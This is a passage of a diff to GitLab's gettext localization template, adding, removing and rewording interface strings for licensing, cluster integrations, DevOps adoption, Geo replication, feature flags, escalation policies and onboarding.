msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
